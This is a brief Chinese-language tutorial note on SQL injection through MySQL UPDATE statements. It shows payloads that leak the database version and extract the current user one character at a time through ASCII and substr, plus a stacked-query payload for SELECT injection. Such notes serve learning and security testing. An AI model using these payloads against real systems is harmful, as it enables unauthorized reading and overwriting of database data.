update注入之我理解

1、基本语法

update test.test_table set username='admin123',password=000 where id=1;

update test.test_table set username='admin000''aaaaa,password=000 where id=1;

修改为 admin000'aaaaa

update警告:

必须where限制,否则表中所有的username、password都变为admin123、123。

意思是测试时不能注释掉后面的where

2、'+version()+',查询数据库版本号

update test.test_table set username=''+version()+'',password=123 where id=1;

3、不能+user()+,但支持sleep()

mysql中+表示相加,若是字符串转为整型,结果为0,即0+user()+0为0+0+0,导致没法查询到任何数据

0+version()+0,返回0+5.7.26+0,相加结果5.7.26

注意:

如果是SQL Server,+ 可连接两个字符串,不是相加,可以使用 +user()+直接查询user()

4、如何查询user()

①、'+length(user())+',只能用数字,长度符合数字

长度为14,发现root@localhost确实为14

②、ASCII()函数也符合数字

'+ASCII(substr(user(),1))+'         获取user()第一个字符从ascii

update test.test_table set username=''+ASCII(substr(user(),1))+'',password=44444444 where id=4;

第一个字符的ascii为114,就是字符 r,以此类推,不断查询user()的字符。

5、查询与update注入不一样

当遇到查询注入时,是没法使用上述语法(除了sleep()),'+version()+'没法使用,用此代替admin123';select version();--,或其它注入语句代替。

select * from test.test_table where username='admin123';select user();--

原文地址:https://www.cnblogs.com/0xpub/p/12977671.html